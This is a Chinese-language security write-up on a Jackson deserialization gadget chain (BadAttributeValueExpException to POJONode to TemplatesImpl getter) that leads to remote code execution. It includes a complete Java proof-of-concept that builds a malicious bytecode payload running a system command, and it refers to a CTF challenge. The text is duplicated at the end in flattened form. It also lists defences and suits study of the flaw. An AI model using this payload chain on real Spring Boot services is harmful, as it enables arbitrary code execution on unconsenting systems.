Jackson中的反序列化getter触发
字数 1507 2025-08-10 22:27:01

Jackson反序列化触发Getter方法漏洞分析

前言

本文详细分析Jackson库中存在的原生反序列化触发任意类getter方法的安全漏洞,该漏洞与FastJSON中的类似漏洞原理相似但实现方式不同。通过分析漏洞原理、利用链构造和实际CTF题目案例,深入理解该漏洞的利用方式。

Jackson基础知识

Jackson是一个流行的Java JSON处理库,与Spring Boot紧密结合。在序列化过程中,Jackson会调用对象的getter方法来获取属性值。

序列化调用流程

Jackson将对象序列化为JSON字符串的主要方法是ObjectMapper#writeValueAsString,调用栈如下:

serializeAsField:689, BeanPropertyWriter (com.fasterxml.jackson.databind.ser)
serializeFields:774, BeanSerializerBase (com.fasterxml.jackson.databind.ser.std)
serialize:178, BeanSerializer (com.fasterxml.jackson.databind.ser)
_serialize:480, DefaultSerializerProvider (com.fasterxml.jackson.databind.ser)
serializeValue:319, DefaultSerializerProvider (com.fasterxml.jackson.databind.ser)
_writeValueAndClose:4568, ObjectMapper (com.fasterxml.jackson.databind)
writeValueAsString:3821, ObjectMapper (com.fasterxml.jackson.databind)

关键方法分析:

  1. DefaultSerializerProvider#serializeValue:通过findTypedValueSerializer从缓存中获取序列化器,如果没有则创建并缓存。对于POJO对象,会获取BeanSerializer类。

  2. BeanSerializer#serialize:构造JSON字符串,先写入{,然后处理Bean对象属性值,最后写入}

  3. BeanSerializerBase#serializeFields:处理Bean类中所有属性的写入,最终会调用对应属性的getter方法进行赋值。

漏洞利用链构造

利用链的核心思路是:通过反序列化触发toString()方法,进而触发Jackson的序列化流程,最终调用任意getter方法。

关键利用链

BadAttributeValueExpException#readObject 
-> POJONode#toString 
-> getter

为什么选择POJONode类?

  1. POJONode继承自BaseJsonNode,但没有重写toString()方法
  2. BaseJsonNodetoString()方法调用链:
    toString 
    -> InternalNodeMapper#nodeToString 
    -> ObjectWriter.writeValueAsString
    
  3. writeValueAsString方法会触发目标对象的getter方法

完整POC代码

ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
constructor.setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
clazz.addConstructor(constructor);

byte[][] bytes = new byte[][]{clazz.toBytecode()};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setValue(templates, "_bytecodes", bytes);
setValue(templates, "_name", "xx");
setValue(templates, "_tfactory", new TransformerFactoryImpl());

POJONode node = new POJONode(templates);
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(val, node);

ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(byteArrayOutputStream);
oos.writeObject(val);

ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray()));
Object o = (Object)ois.readObject();

注意事项

  1. 序列化问题POJONode的父类BaseJsonNode实现了writeReplace方法,在序列化过程中会抛出异常导致序列化中断。解决方法是通过反射删除该方法。

  2. 依赖问题:Jackson通常作为Spring Boot的默认JSON处理器存在,无需额外依赖。

其他可能的Gadgets

  1. 替代POJONode:理论上任何继承BaseJsonNode且未重写toString()方法的类都可以替代POJONode,但实际可用的类较少。

  2. 替代BadAttributeValueExpException:如果BadAttributeValueExpException等触发toString()方法的类被禁用,可以寻找其他调用writeValueAsString方法的类。

实际CTF案例分析

参考题目:阿里云CTF - bypassit1

题目特点:

  • 直接反序列化请求体数据,无任何过滤
  • 依赖仅包含spring-boot-starter-web:2.6.11,内置Jackson
  • 利用上述漏洞链实现RCE

防御措施

  1. 避免反序列化不可信数据
  2. 使用@JsonIgnore注解标记敏感getter方法
  3. 配置ObjectMapper禁用某些特性:
    objectMapper.configure(SerializationFeature.FAIL_ON_EMPTY_BEANS, true);
    
  4. 更新到最新版本的Jackson库

总结

Jackson的反序列化getter触发漏洞通过精心构造的利用链,可以在特定条件下实现任意代码执行。理解该漏洞需要掌握Jackson的序列化流程、Java反序列化机制以及类继承关系等知识。在实际开发中,应当避免直接反序列化不可信数据,并合理配置JSON处理器。

Jackson反序列化触发Getter方法漏洞分析 前言 本文详细分析Jackson库中存在的原生反序列化触发任意类getter方法的安全漏洞,该漏洞与FastJSON中的类似漏洞原理相似但实现方式不同。通过分析漏洞原理、利用链构造和实际CTF题目案例,深入理解该漏洞的利用方式。 Jackson基础知识 Jackson是一个流行的Java JSON处理库,与Spring Boot紧密结合。在序列化过程中,Jackson会调用对象的getter方法来获取属性值。 序列化调用流程 Jackson将对象序列化为JSON字符串的主要方法是 ObjectMapper#writeValueAsString ,调用栈如下: 关键方法分析: DefaultSerializerProvider#serializeValue :通过 findTypedValueSerializer 从缓存中获取序列化器,如果没有则创建并缓存。对于POJO对象,会获取 BeanSerializer 类。 BeanSerializer#serialize :构造JSON字符串,先写入 { ,然后处理Bean对象属性值,最后写入 } 。 BeanSerializerBase#serializeFields :处理Bean类中所有属性的写入,最终会调用对应属性的getter方法进行赋值。 漏洞利用链构造 利用链的核心思路是:通过反序列化触发 toString() 方法,进而触发Jackson的序列化流程,最终调用任意getter方法。 关键利用链 为什么选择POJONode类? POJONode 继承自 BaseJsonNode ,但没有重写 toString() 方法 BaseJsonNode 的 toString() 方法调用链: writeValueAsString 方法会触发目标对象的getter方法 完整POC代码 注意事项 序列化问题 : POJONode 的父类 BaseJsonNode 实现了 writeReplace 方法,在序列化过程中会抛出异常导致序列化中断。解决方法是通过反射删除该方法。 依赖问题 :Jackson通常作为Spring Boot的默认JSON处理器存在,无需额外依赖。 其他可能的Gadgets 替代POJONode :理论上任何继承 BaseJsonNode 且未重写 toString() 方法的类都可以替代 POJONode ,但实际可用的类较少。 替代BadAttributeValueExpException :如果 BadAttributeValueExpException 等触发 toString() 方法的类被禁用,可以寻找其他调用 writeValueAsString 方法的类。 实际CTF案例分析 参考题目: 阿里云CTF - bypassit1 题目特点: 直接反序列化请求体数据,无任何过滤 依赖仅包含 spring-boot-starter-web:2.6.11 ,内置Jackson 利用上述漏洞链实现RCE 防御措施 避免反序列化不可信数据 使用 @JsonIgnore 注解标记敏感getter方法 配置 ObjectMapper 禁用某些特性: 更新到最新版本的Jackson库 总结 Jackson的反序列化getter触发漏洞通过精心构造的利用链,可以在特定条件下实现任意代码执行。理解该漏洞需要掌握Jackson的序列化流程、Java反序列化机制以及类继承关系等知识。在实际开发中,应当避免直接反序列化不可信数据,并合理配置JSON处理器。